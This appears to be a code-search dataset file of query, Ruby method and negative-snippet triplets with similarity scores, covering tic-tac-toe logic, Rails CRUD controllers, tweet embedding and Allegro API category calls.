Creates empty 33 grid
def initialize @empty_cell = '_' @board = Array.new(3) {Array.new(3,@empty_cell)} end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create_grid\n grid = Array.new(6, Array.new(7, BLANK))\n end", "def make_grid\n @grid = Array.new(4){Array.new(4)}\n end", "def initiate_grid\n new_grid = []\n @width.times do |x|\n new_grid[x] = []\n @height.times do |y|\n new_grid[x][y] = 0\n ...
[ "0.8337554", "0.7875011", "0.77378476", "0.7728108", "0.73936", "0.7378149", "0.73522985", "0.7288738", "0.7262049", "0.7212891", "0.72022575", "0.716695", "0.7166529", "0.7146262", "0.71131134", "0.7113055", "0.7106074", "0.7102929", "0.70797837", "0.7061313", "0.7059399", ...
0.6486024
58
Checks if a player has won
def checkWin(sym, name) if board[0].all? {|cell| cell.to_s == sym} puts name + ' has won!' return true elsif board[1].all? {|cell| cell.to_s == sym} puts name + ' has won!' return true elsif board[2].all? {|cell| cell.to_s == sym} puts name + ' has won!' return true elsif board[0][0] == sym && board[1][0] == sym && board[2][0] == sym puts name + ' has won!' return true elsif board[0][1] == sym && board[1][1] == sym && board[2][1] == sym puts name + ' has won!' return true elsif board[0][2] == sym && board[1][2] == sym && board[2][2] == sym puts name + ' has won!' return true elsif board[0][0] == sym && board[1][1] == sym && board[2][2] == sym puts name + ' has won!' return true elsif board[0][2] == sym && board[1][1] == sym && board[2][0] == sym puts name + ' has won!' return true end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def won?\n\t\twon = false\n\t\twon = true if (ended? && @guesses > 0)\n\t\twon\n\tend", "def did_player_win\n (@purses[@current_player] != 6)\n end", "def won?\n @game.started? && !detectives_won? && detectives_cannot_move?\n end", "def won?\n #won?: If the player has over 100 points, returns tr...
[ "0.812417", "0.8053775", "0.7941264", "0.79402155", "0.7857416", "0.78462386", "0.7802104", "0.7795296", "0.7791327", "0.77781886", "0.7736046", "0.77185726", "0.76771414", "0.76639766", "0.7646808", "0.76326853", "0.7609075", "0.7602597", "0.7600377", "0.754528", "0.7531662"...
0.0
-1
GET /usuario_carta/1 GET /usuario_carta/1.json
def show @usuario_cartum = UsuarioCartum.find(params[:id]) respond_to do |format| format.html # show.html.erb format.json { render json: @usuario_cartum } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def show_cart\n render json: User.find(params[:id]).cart_products\n end", "def index\n render json: { carts: current_user.carts.select(:id, :product_id, :quantity).to_json }\n end", "def index\n if params[:usuario_producto]\n @usuario = Usuario.find(params[:usuario_id])\n render json: @usu...
[ "0.7232177", "0.6988673", "0.6977801", "0.69282895", "0.68262035", "0.6728768", "0.6706216", "0.66556543", "0.6607132", "0.65920216", "0.6537126", "0.6537126", "0.65095735", "0.64774585", "0.6470391", "0.64232874", "0.64232874", "0.6422311", "0.6374982", "0.6360945", "0.63591...
0.76665306
0
GET /usuario_carta/new GET /usuario_carta/new.json
def new @usuario_cartum = UsuarioCartum.new respond_to do |format| format.html # new.html.erb format.json { render json: @usuario_cartum } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new\n @cartum = Cartum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cartum }\n end\n end", "def new\n if(ShoppingCart.find_by_user_id(current.user).nil?)\n @shopping_cart = ShoppingCart.new\n\n respond_to do |format|\n format.html...
[ "0.73844117", "0.73699594", "0.735934", "0.7292732", "0.72693306", "0.72693306", "0.72693306", "0.72693306", "0.72693306", "0.72693306", "0.72693306", "0.72693306", "0.7241418", "0.7185905", "0.7182895", "0.71679944", "0.7164979", "0.71499366", "0.71483904", "0.7134645", "0.7...
0.8002356
0
POST /usuario_carta POST /usuario_carta.json
def create @usuario_cartum = UsuarioCartum.new(params[:usuario_cartum]) respond_to do |format| if @usuario_cartum.save format.html { redirect_to @usuario_cartum, notice: 'Usuario cartum was successfully created.' } format.json { render json: @usuario_cartum, status: :created, location: @usuario_cartum } else format.html { render action: "new" } format.json { render json: @usuario_cartum.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def confirmer_cart\n _user = current_client\n _confirmation = rand(36**10).to_s(36)\n _cart = Commande.new()\n _cart.client_id = _user.id\n if params[:addr_id] != '-1'\n _cart.adresse_id = params[:addr_id]\n else\n _cart.adresse_id = client_adresse.id \n end\n _cart.no_confirmat...
[ "0.67153966", "0.6650674", "0.6584135", "0.64670837", "0.64579016", "0.6433194", "0.63799113", "0.63520277", "0.63308144", "0.6295982", "0.6258594", "0.62575", "0.62538517", "0.6228916", "0.6225002", "0.6214997", "0.6214915", "0.62089336", "0.6197162", "0.61641103", "0.613156...
0.7366374
0
PUT /usuario_carta/1 PUT /usuario_carta/1.json
def update @usuario_cartum = UsuarioCartum.find(params[:id]) respond_to do |format| if @usuario_cartum.update_attributes(params[:usuario_cartum]) format.html { redirect_to @usuario_cartum, notice: 'Usuario cartum was successfully updated.' } format.json { head :no_content } else format.html { render action: "edit" } format.json { render json: @usuario_cartum.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n respond_to do |format|\n if @catalogo_usuario.update(catalogo_usuario_params)\n format.html { redirect_to @catalogo_usuario, notice: 'Catalogo usuario was successfully updated.' }\n format.json { render :show, status: :ok, location: @catalogo_usuario }\n else\n format...
[ "0.6467914", "0.6255238", "0.6205772", "0.6157885", "0.61420465", "0.6134473", "0.6128039", "0.6117205", "0.6107925", "0.6104216", "0.6100391", "0.60754037", "0.60673416", "0.60660183", "0.60182613", "0.6012674", "0.6009118", "0.600188", "0.59716606", "0.5949145", "0.5934605"...
0.7085275
0
DELETE /usuario_carta/1 DELETE /usuario_carta/1.json
def destroy @usuario_cartum = UsuarioCartum.find(params[:id]) @usuario_cartum.destroy respond_to do |format| format.html { redirect_to usuario_carta_url } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @cartum = Cartum.find(params[:id])\n @cartum.destroy\n\n respond_to do |format|\n format.html { redirect_to carta_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @asignatura.destroy\n respond_to do |format|\n format.json { head :no_content }\n...
[ "0.7297382", "0.72116196", "0.7207271", "0.71159256", "0.7094339", "0.7028738", "0.70272565", "0.70239055", "0.7002976", "0.6999742", "0.6982968", "0.6980401", "0.69789207", "0.6978504", "0.6975756", "0.6969", "0.69672245", "0.69656205", "0.6963231", "0.69598836", "0.6954662"...
0.78999937
0
GET customer_quotes/1/customer_quote_lines/1 GET customer_quotes/1/customer_quote_lines/1.json
def show @customer_quote = CustomerQuote.find(params[:customer_quote_id]) @customer_quote_line = @customer_quote.customer_quote_lines.find(params[:id]) respond_to do |format| format.html # show.html.erb format.json { render :json => @customer_quote_line } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def particular_customer_quotes\n offset = 0\n filter = \"%\"\n if (params[:offset].class.to_s != \"NilClass\" && params[:offset].integer?)\n offset = params[:offset].to_i\n end\n if (params[:filter].class.to_s != \"NilClass\")\n filter = \"%\" + params[:filter] + \"%\"\n end\n # lst...
[ "0.67117256", "0.65767527", "0.64757705", "0.6307343", "0.62854296", "0.6225669", "0.61302054", "0.59657013", "0.5959327", "0.5917317", "0.5826708", "0.58110654", "0.58016175", "0.5775008", "0.5769305", "0.57152903", "0.5671943", "0.5604728", "0.55968654", "0.55603665", "0.55...
0.7558311
0
GET customer_quotes/1/customer_quote_lines/new GET customer_quotes/1/customer_quote_lines/new.json
def new @customer_quote = CustomerQuote.find(params[:customer_quote_id]) @customer_quote_line = @customer_quote.customer_quote_lines.build @attachable = @customer_quote respond_to do |format| format.html # new.html.erb format.json { render :json => @customer_quote_line } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new\n @quote = Quote.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @quote }\n end\n end", "def new\n @order_line = OrderLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @order_line ...
[ "0.6336475", "0.62781185", "0.6223795", "0.61311376", "0.61071455", "0.6092834", "0.6086364", "0.6079747", "0.6079747", "0.6079747", "0.6079747", "0.6079747", "0.6079747", "0.6079747", "0.6079747", "0.6079747", "0.6079747", "0.6015527", "0.5916114", "0.58819103", "0.5871632",...
0.6634123
0
POST customer_quotes/1/customer_quote_lines POST customer_quotes/1/customer_quote_lines.json
def create @customer_quote = CustomerQuote.find(params[:customer_quote_id]) params[:customer_quote_line][:item_name_sub] = params[:alt_name_id] @customer_quote_line = @customer_quote.customer_quote_lines.build(customer_quote_line_params) @attachable = @customer_quote respond_to do |format| if @customer_quote_line.save format.html { redirect_to new_customer_quote_customer_quote_line_path(@customer_quote), :notice => 'Customer quote line was successfully created.' } format.json { render :json => @customer_quote_line, :status => :created, :location => [@customer_quote_line.customer_quote, @customer_quote_line] } else format.html { render :action => "new" } format.json { render :json => @customer_quote_line.errors, :status => :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @quote_line = QuoteLine.new(quote_line_params)\n\n respond_to do |format|\n if @quote_line.save\n format.html { redirect_to @quote_line, notice: 'Quote line was successfully created.' }\n format.json { render action: 'show', status: :created, location: @quote_line }\n els...
[ "0.6673877", "0.6567689", "0.6428922", "0.6182378", "0.61731344", "0.6172129", "0.6140783", "0.6083108", "0.6056069", "0.6045152", "0.60255617", "0.59296066", "0.5821327", "0.5770799", "0.5731658", "0.57204586", "0.5689212", "0.5676273", "0.5646049", "0.56109333", "0.56006736...
0.69819164
0
PUT customer_quotes/1/customer_quote_lines/1 PUT customer_quotes/1/customer_quote_lines/1.json
def update @customer_quote = CustomerQuote.find(params[:customer_quote_id]) @customer_quote_line = @customer_quote.customer_quote_lines.find(params[:id]) @attachable = @customer_quote respond_to do |format| if @customer_quote_line.update_attributes(customer_quote_line_params) format.html { redirect_to customer_quote_path(@customer_quote), :notice => 'Customer quote line was successfully updated.' } format.json { head :ok } else format.html { render :action => "edit" } format.json { render :json => @customer_quote_line.errors, :status => :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @customer_quote = CustomerQuote.find(params[:customer_quote_id])\n @customer_quote_line = @customer_quote.customer_quote_lines.find(params[:id])\n @customer_quote_line.destroy\n\n respond_to do |format|\n format.html { redirect_to customer_quote_path(@customer_quo...
[ "0.67417216", "0.6607342", "0.6437862", "0.6269973", "0.6216328", "0.6159606", "0.6046217", "0.6024713", "0.5966548", "0.59249485", "0.5916886", "0.5860319", "0.58350927", "0.5818444", "0.57339543", "0.57330984", "0.5717281", "0.5665004", "0.5665004", "0.56541693", "0.5649172...
0.7125829
0
DELETE customer_quotes/1/customer_quote_lines/1 DELETE customer_quotes/1/customer_quote_lines/1.json
def destroy @customer_quote = CustomerQuote.find(params[:customer_quote_id]) @customer_quote_line = @customer_quote.customer_quote_lines.find(params[:id]) @customer_quote_line.destroy respond_to do |format| format.html { redirect_to customer_quote_path(@customer_quote), :notice => 'Customer quote line was deleted updated.' } format.json { head :ok } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @quote_line.destroy\n respond_to do |format|\n format.html { redirect_to quote_lines_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @line_item = @order.line_items.find(params[:id])\n @line_item.destroy\n\n head :no_content\n end", "def destroy\...
[ "0.7204464", "0.661267", "0.65343726", "0.6467487", "0.6412911", "0.64046687", "0.63338304", "0.6333033", "0.63320935", "0.6301641", "0.6300822", "0.6296075", "0.62872", "0.6276502", "0.62640595", "0.6250997", "0.62473905", "0.6235136", "0.6220723", "0.62161064", "0.62042785"...
0.7477422
0
This is the position of the coordinates in the array. [a, b, c, d, e, f, g, h] | a | b | c | | h | 0 | d | | g | f | e | j_index1 | i_index1 i_index+1 | j_index+1 rubocop:disable Metrics/MethodLength
def adjacent_cells(i_index, j_index) return [] if out_of_bounds?(i_index, j_index) cells = [ [i_index - 1, j_index - 1], # a [i_index - 1, j_index], # b [i_index - 1, j_index + 1], # c [i_index, j_index + 1], # d [i_index + 1, j_index + 1], # e [i_index + 1, j_index], # f [i_index + 1, j_index - 1], # g [i_index, j_index - 1] # h ] cells.reject do |pair| i_index, j_index = pair out_of_bounds?(i_index, j_index) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def position\n [@x, @y]\n end", "def coords\n Vector[@ob.x, @ob.y, @ob.z]\n end", "def coordinates\n [@y_location, @x_location]\n end", "def coord_array\n _coords.dup\n end", "def indices2coords(i,j)\n row = i2row(i)\n col = j2col(j)\n \"#{row}#{col}\"\n en...
[ "0.6866802", "0.6811006", "0.6771236", "0.67420024", "0.6730317", "0.6702235", "0.664161", "0.66144395", "0.65688145", "0.65434116", "0.6501752", "0.6475839", "0.64615405", "0.64615405", "0.64502156", "0.64142215", "0.64112824", "0.64108884", "0.6353111", "0.6346695", "0.6344...
0.0
-1
def floating? damage >= size ? self.floating = false : self.floating = true end def sunk?
def hit self.damage = damage + 1 check_boat end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def sunk?\n @health == 0\n end", "def damaged?\n health < MAX_HEALTH\n end", "def sunk?\n health.zero?\n end", "def is_sunk? \n if @life > 0\n return false\n else\n return true\n end\n end", "def slip_damage_effect\r\n # Set damage\r\n slip_damage_effect_base_damage\r...
[ "0.69369316", "0.6706441", "0.65630144", "0.65539813", "0.64137626", "0.641336", "0.63043964", "0.62646216", "0.62010205", "0.6185797", "0.6177466", "0.61705405", "0.6131323", "0.61248267", "0.6091322", "0.6091322", "0.6059737", "0.605727", "0.6056006", "0.60350794", "0.60344...
0.57385844
59
TODO def change_folder(folder_id) end
def add_folder_members(folder_id, member_ids) post_json("folders/add-members", { folder_id: folder_id, member_ids: member_ids.join(',') }) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_folder\n @folder = Folder.find(params[:id])\n end", "def set_folder\n @folder = Folder.find(params[:id])\n end", "def set_folder\n @folder = Folder.find(params[:id])\n end", "def set_folder\n @folder = Folder.find(params[:id])\n end", "def set_folder\n @folder =...
[ "0.7936145", "0.7936145", "0.7936145", "0.7936145", "0.7936145", "0.7882552", "0.7882552", "0.7845979", "0.7841283", "0.7783845", "0.7594988", "0.75021034", "0.7461284", "0.73949677", "0.7321952", "0.73122156", "0.72434145", "0.719644", "0.7118747", "0.70864755", "0.70601124"...
0.0
-1
By using undef and alias, the interface of the class can be modified independently from the superclass, but notice it may be broke programs by the internal method call to self.
def method puts "inside method" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def alias_of; end", "def superclass=(object); end", "def superclass() end", "def unrealize_self\n raise NotImplementedError\n end", "def special\n override\n end", "def with_class_alias(x); end", "def alias_class_method(new_name, old_name)\n #klass = self.to_s\n metaclass.instance...
[ "0.71130055", "0.6685166", "0.660155", "0.64426225", "0.63666695", "0.6349805", "0.6330304", "0.6330304", "0.62714374", "0.6243882", "0.6225683", "0.6225683", "0.6165347", "0.61608934", "0.61264724", "0.6019108", "0.6000918", "0.5988051", "0.5988051", "0.5960625", "0.59404665...
0.0
-1
only have to check divisors up to sqrt(num)
def is_prime?(num) Math.sqrt(num).floor.downto(2).each do |i| false if num % i == 0 end true end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def divisors(num)\n\tcount = 0\n\tfor i in 1..Math.sqrt(num)\n\t\tif num % i == 0\n\t\t\tcount += 2\n\t\tend\n\tend\n\treturn count\nend", "def find_proper_divisors_sum(num)\n\tsum = 0\n\tsqrt = Math.sqrt(num)\n\n\t# add all divisors into sum\n\t(1..sqrt).each do |n|\n\t\t# if num is a proper divisor\n\t\tif num...
[ "0.77353483", "0.7687315", "0.749143", "0.74655044", "0.7376728", "0.73709536", "0.71986735", "0.7192984", "0.71541", "0.71220297", "0.71142405", "0.7105928", "0.71056366", "0.7103508", "0.70737994", "0.7064795", "0.7063459", "0.7057595", "0.70364887", "0.70343584", "0.702224...
0.6653555
98
GET /posts GET /posts.json
def index @comments = @post.comments.order(created_at: :desc) render json: @comments, status: :ok end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def show\n @posts = Post.find(params[:id])\n render json: @posts\n end", "def index\n @posts = Post.all\n render json: @posts\n end", "def index\n @posts = Post.all\n\n render json: @posts\n end", "def index\n @posts = Post.all\n\n render json: @posts\n end", "def index\n ...
[ "0.7865315", "0.7494904", "0.7494433", "0.7494433", "0.7488696", "0.74314564", "0.728645", "0.728645", "0.728645", "0.72562826", "0.72522277", "0.7247287", "0.7246305", "0.72221965", "0.72042215", "0.72039723", "0.7169929", "0.71689725", "0.71644753", "0.7121855", "0.71152896...
0.0
-1
GET /posts/1 GET /posts/1.json
def show render json: @comment, status: :ok end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def show\n @posts = Post.find(params[:id])\n render json: @posts\n end", "def show\n render json: Post.find(params[\"id\"])\n end", "def show\r\n post = Post.find(params[:id])\r\n render json: post\r\n end", "def show\n @post = Post.find(params[:id])\n\n render json: @post\n end", ...
[ "0.7712599", "0.7355032", "0.7344417", "0.7338935", "0.732417", "0.72942096", "0.7277042", "0.72568655", "0.71634257", "0.7161018", "0.71573496", "0.71573496", "0.7121699", "0.70960927", "0.70960927", "0.70960927", "0.7095103", "0.7072778", "0.70621663", "0.7046504", "0.70325...
0.0
-1
POST /posts POST /posts.json
def create @comment = @post.comments.new(comment_params) if @comment.save render json: @comment, status: :created else render json: @comment.errors, status: :unprocessable_entity end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n render json: Post.create(params[\"post\"])\n end", "def create\n respond_with Post.create(params[:posts])\n end", "def create\n @post = Post.create(post_params)\n render json: @post, serializer: PostSerializer\n end", "def create\n @post = Post.new(post_params)\n @po...
[ "0.74453115", "0.73224664", "0.73065", "0.7123661", "0.7014955", "0.7012768", "0.69840264", "0.6938563", "0.69309723", "0.6905106", "0.68197066", "0.68119097", "0.67928475", "0.6792773", "0.67785394", "0.67785394", "0.6762736", "0.6759516", "0.67510056", "0.67350024", "0.6698...
0.0
-1
PATCH/PUT /posts/1 PATCH/PUT /posts/1.json
def update if @comment.update(comment_params) render json: @comment, status: :ok else render json: @comment.errors, status: :unprocessable_entity end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n render json: Post.update(params[\"id\"], params[\"post\"])\n end", "def update\n respond_with Post.update(params[:id], params[:posts])\n end", "def update\n @post = Post.find(params[:id])\n respond_to do |format|\n if @post.update_attributes(params[:post])\n forma...
[ "0.71867543", "0.7042899", "0.6774105", "0.67672604", "0.6669961", "0.6649129", "0.657972", "0.6556958", "0.6551495", "0.6549005", "0.6535034", "0.6531995", "0.6497553", "0.64958835", "0.6468818", "0.64319825", "0.6428907", "0.64275557", "0.64273673", "0.64193714", "0.6419366...
0.0
-1
DELETE /posts/1 DELETE /posts/1.json
def destroy @comment.destroy render json: @comment, status: :ok end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def delete\n render json: Post.delete(params[\"id\"])\n end", "def destroy\n @post.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n post = Post.find(params[:id])\n if post.destroy\n render json: {status: \"success\", data: {id: param...
[ "0.8046884", "0.76902676", "0.7583626", "0.75803024", "0.7568048", "0.75047046", "0.75031126", "0.74750155", "0.74671036", "0.74650854", "0.746482", "0.74589694", "0.74589694", "0.74589694", "0.74589694", "0.74579465", "0.74579465", "0.74579465", "0.74579465", "0.74579465", "...
0.0
-1
Use callbacks to share common setup or constraints between actions.
def set_post @post = Post.find(params[:post_id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_...
[ "0.6163821", "0.6045432", "0.5945441", "0.5916224", "0.58894575", "0.5834073", "0.57764685", "0.5702474", "0.5702474", "0.5653258", "0.56211996", "0.54235053", "0.5410683", "0.5410683", "0.5410683", "0.53948104", "0.5378064", "0.5356684", "0.53400385", "0.53399503", "0.533122...
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def comment_params params.permit(:comment, :author) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n...
[ "0.69811666", "0.6782836", "0.6747644", "0.6742015", "0.6735273", "0.6593917", "0.65037674", "0.6498627", "0.6482372", "0.64795715", "0.64566946", "0.6439213", "0.6380714", "0.6378147", "0.63657266", "0.63206697", "0.6300169", "0.62992156", "0.6295538", "0.62943023", "0.62915...
0.0
-1
convert tweet url to embedding html
def embedding_tweet(content) embedded_content = content content.scan(/(https?:\/\/twitter\.com\/[a-zA-Z0-9_]+\/status\/([0-9]+)\/?)/).each do |url, id| tweet_json = open("https://api.twitter.com/1/statuses/oembed.json?id=#{id}").read tweet_html = JSON.parse(tweet_json, { :symbolize_names => true })[:html] embedded_content = embedded_content.gsub(/#{url}/, tweet_html) end embedded_content end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def parse_tweet(t)\n URI.extract(t, %w[ http https ftp ]).each do |url|\n t.gsub!(url, \"<a href=\\\"#{url}\\\">#{url}</a>\")\n end\n \t# auto-link @usernames\n \tt = linkup_mentions_and_hashtags(t)\n end", "def twitter_format(text)\n auto_link(text.dup).html_safe\n end", "def extract_link(tw...
[ "0.710995", "0.6929726", "0.6837478", "0.6693981", "0.6689455", "0.6619641", "0.6617473", "0.6562044", "0.65238196", "0.6424935", "0.6424891", "0.6330949", "0.6195169", "0.6166195", "0.61651456", "0.6139545", "0.6068261", "0.6060905", "0.6051543", "0.6040017", "0.60272753", ...
0.7629559
1
GET /posts GET /posts.json
def index #if user is a author then show him all his posts. if current_user.role != "reader" @posts = Post.where(user_id: current_user.id ) #if user is an reader then show him all this posts of authors that he is subscribed to. else user = User.where(id: current_user.id) @subscribed_authors = user.first.subscribers #to save relevant posts form all the subscribers @posts = Post.where(user_id: @subscribed_authors.ids) end #deburger end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def show\n @posts = Post.find(params[:id])\n render json: @posts\n end", "def index\n @posts = Post.all\n render json: @posts\n end", "def index\n @posts = Post.all\n\n render json: @posts\n end", "def index\n @posts = Post.all\n\n render json: @posts\n end", "def index\n ...
[ "0.7865315", "0.7494904", "0.7494433", "0.7494433", "0.7488696", "0.74314564", "0.728645", "0.728645", "0.728645", "0.72562826", "0.72522277", "0.7247287", "0.7246305", "0.72221965", "0.72042215", "0.72039723", "0.7169929", "0.71689725", "0.71644753", "0.7121855", "0.71152896...
0.0
-1
GET /posts/1 GET /posts/1.json
def show end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def show\n @posts = Post.find(params[:id])\n render json: @posts\n end", "def show\n render json: Post.find(params[\"id\"])\n end", "def show\r\n post = Post.find(params[:id])\r\n render json: post\r\n end", "def show\n @post = Post.find(params[:id])\n\n render json: @post\n end", ...
[ "0.7712599", "0.7355032", "0.7344417", "0.7338935", "0.732417", "0.72942096", "0.7277042", "0.72568655", "0.71634257", "0.7161018", "0.71573496", "0.71573496", "0.7121699", "0.70960927", "0.70960927", "0.70960927", "0.7095103", "0.7072778", "0.70621663", "0.7046504", "0.70325...
0.0
-1
POST /posts POST /posts.json
def create @post = Post.new(post_params) @post.user_id = current_user.id respond_to do |format| if @post.save format.html { redirect_to @post, notice: 'Post was successfully created.' } format.json { render :show, status: :created, location: @post } else format.html { render :new } format.json { render json: @post.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n render json: Post.create(params[\"post\"])\n end", "def create\n respond_with Post.create(params[:posts])\n end", "def create\n @post = Post.create(post_params)\n render json: @post, serializer: PostSerializer\n end", "def create\n @post = Post.new(post_params)\n @po...
[ "0.74453115", "0.73224664", "0.73065", "0.7123661", "0.7014955", "0.7012768", "0.69840264", "0.6938563", "0.69309723", "0.6905106", "0.68197066", "0.68119097", "0.67928475", "0.6792773", "0.67785394", "0.67785394", "0.6762736", "0.6759516", "0.67510056", "0.67350024", "0.6698...
0.0
-1
PATCH/PUT /posts/1 PATCH/PUT /posts/1.json
def update respond_to do |format| if @post.update(post_params) format.html { redirect_to @post, notice: 'Post was successfully updated.' } format.json { render :show, status: :ok, location: @post } else format.html { render :edit } format.json { render json: @post.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n render json: Post.update(params[\"id\"], params[\"post\"])\n end", "def update\n respond_with Post.update(params[:id], params[:posts])\n end", "def update\n @post = Post.find(params[:id])\n respond_to do |format|\n if @post.update_attributes(params[:post])\n forma...
[ "0.71867543", "0.7042899", "0.6774105", "0.67672604", "0.6669961", "0.6649129", "0.657972", "0.6556958", "0.6551495", "0.6549005", "0.6535034", "0.6531995", "0.6497553", "0.64958835", "0.6468818", "0.64319825", "0.6428907", "0.64275557", "0.64273673", "0.64193714", "0.6419366...
0.0
-1
DELETE /posts/1 DELETE /posts/1.json
def destroy @post.destroy respond_to do |format| format.html { redirect_to posts_url, notice: 'Post was successfully destroyed.' } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def delete\n render json: Post.delete(params[\"id\"])\n end", "def destroy\n @post.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n post = Post.find(params[:id])\n if post.destroy\n render json: {status: \"success\", data: {id: param...
[ "0.8046884", "0.76902676", "0.7583626", "0.75803024", "0.7568048", "0.75047046", "0.75031126", "0.74750155", "0.74671036", "0.74650854", "0.746482", "0.74589694", "0.74589694", "0.74589694", "0.74589694", "0.74579465", "0.74579465", "0.74579465", "0.74579465", "0.74579465", "...
0.0
-1
Use callbacks to share common setup or constraints between actions.
def set_post @post = Post.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_...
[ "0.6163821", "0.6045432", "0.5945441", "0.5916224", "0.58894575", "0.5834073", "0.57764685", "0.5702474", "0.5702474", "0.5653258", "0.56211996", "0.54235053", "0.5410683", "0.5410683", "0.5410683", "0.53948104", "0.5378064", "0.5356684", "0.53400385", "0.53399503", "0.533122...
0.0
-1
Only allow a list of trusted parameters through.
def post_params params.require(:post).permit(:title, :user_id, :body) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def allowed_params\n ALLOWED_PARAMS\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end", "def param_whitelist\n [:role, :title]\...
[ "0.6949874", "0.68134874", "0.6803973", "0.6796339", "0.6746466", "0.67413056", "0.6527813", "0.6520603", "0.64913523", "0.64299726", "0.64299726", "0.64299726", "0.6399997", "0.63564914", "0.63551056", "0.6347068", "0.6344981", "0.63384986", "0.6325687", "0.6325687", "0.6325...
0.0
-1
pobiera info dla konkretnej kategorii
def do_get_category_path(category_id) message = {session_id: @client.session_handle, category_id: category_id} @client.call(:do_get_category_path, message: message) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def category\n @data['category']\n end", "def category\n data['category']\n end", "def get_category_info\n category = self.category_id\n return Category.find_by_id(category)\n end", "def category_name \n\tself.category.name \n end", "def categories\n Hash[self.c...
[ "0.68406093", "0.6692206", "0.65562475", "0.6542541", "0.6516095", "0.6446168", "0.6439527", "0.6376017", "0.6368283", "0.63665587", "0.63169736", "0.63137585", "0.6308047", "0.63002276", "0.6273838", "0.62710685", "0.62641615", "0.62586457", "0.625352", "0.6245697", "0.62391...
0.0
-1
pobiera drzewo wszystkich categorii
def do_get_cats_data message = {country_id: @client.country_code, webapi_key: @client.webapi_key} @client.call(:do_get_cats_data, message: message) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def categoria_por_nivel\n if taxon.present? && params[:cat].present? && params[:nivel].present?\n # Aplica el query para los descendientes\n self.taxones = taxones.where(\"#{Especie.attribute_alias(:ancestry_ascendente_directo)} LIKE '%,#{taxon.id},%'\")\n\n # Se limita la busqueda al rango de ca...
